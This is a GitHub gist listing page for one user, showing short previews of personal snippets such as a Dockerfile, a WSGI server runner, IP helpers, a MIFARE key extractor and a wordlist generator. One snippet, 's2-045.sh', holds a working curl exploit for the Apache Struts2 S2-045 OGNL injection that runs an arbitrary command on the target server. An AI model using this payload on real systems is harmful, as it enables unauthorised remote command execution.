Skip to content

Instantly share code, notes, and snippets.

@OwenChia
OwenChia / create_bootstrap_script.py
Last active November 15, 2015 14:22
Create a bootstrap script for Beehive
import textwrap
import virtualenv
CUSTOM = """
def extend_parser(parser):
parser.add_option(
'--use-proxy',
@OwenChia
OwenChia / Manifest
Created June 11, 2016 08:08
buildapp-1.5.6.ebuild
DIST buildapp-1.5.6.tar.gz 16352 SHA256 d77fb6c151605da660b909af058206f7fe7d9faf972e2c30876d42cb03d6a3ed
@OwenChia
OwenChia / run.py
Created July 20, 2016 12:47
A WSGI HTTP Server
# -*- coding: utf-8 -*-
from wsgiref.simple_server import make_server
import argparse
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--host', default='127.0.0.1')
parser.add_argument('--port', default=8088)
parser.add_argument('entry_point', type=str, default='wsgi:application')
@OwenChia
OwenChia / Dockerfile
Last active September 5, 2016 08:01
Python3 Dockerfile
FROM alpine:3.3
MAINTAINER OwenChia <aptx945@gmail.com>
RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/' /etc/apk/repositories
RUN apk update && apk upgrade \
&& apk add \
build-base \
python3 \
python3-dev \
@OwenChia
OwenChia / exf.sh
Last active March 5, 2017 08:41
extract key from mfd file
#Usage:
# source /path/to/exf.sh
# exf /path/to/m1.mfd
#
#How to remove?
# unset -f exf
#or u can use unfunction in zsh:
# unfunction exf
exf () {(xxd $1 | awk '/[37bf]0:/ && NR <= 64 {print $2 $3 $4, $7 $8 $9}')};
@OwenChia
OwenChia / uniq_replies.py
Last active March 5, 2017 11:03
Get the unique repliy list from v2ex.com
# -*- coding: utf-8 -*-
from functools import reduce
from urllib import request
import argparse
import json
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("topic", type=int, nargs='?', default=293899)
@OwenChia
OwenChia / s2-045.sh
Last active March 9, 2017 15:56
poc_s2-045
# Usage:
# source /path/to/s2-045.sh
# poc_s2-045 uri [command]
poc_s2-045 () { curl --insecure $1 -H "Content-Type:%{(#enctype='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='${2-whoami}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" }
@OwenChia
OwenChia / getip.sh
Created March 31, 2017 16:32
getip
# determine local IP address
getip ()
{
ip addr | awk '/inet/ && ! /scope host/ {print $2}'
}
@OwenChia
OwenChia / getip.sed
Last active April 22, 2017 12:58
getip.sed
#! /bin/sed -nf
# Usage:
# ip addr | sed -nf getip.sed | column -t
/^[[:digit:]]/ {
: begin
s/^[[:digit:]]\+: \([[:graph:]]\+\).*/\1/
h
: loop
@OwenChia
OwenChia / wordlist.hy
Created April 23, 2017 11:28
wordlist generator
#! /usr/bin/env hy
(import argparse)
(import lzma)
;; (import [pathlib [Path]])
(import [string [printable]])
;; 36 for [0-9a-z]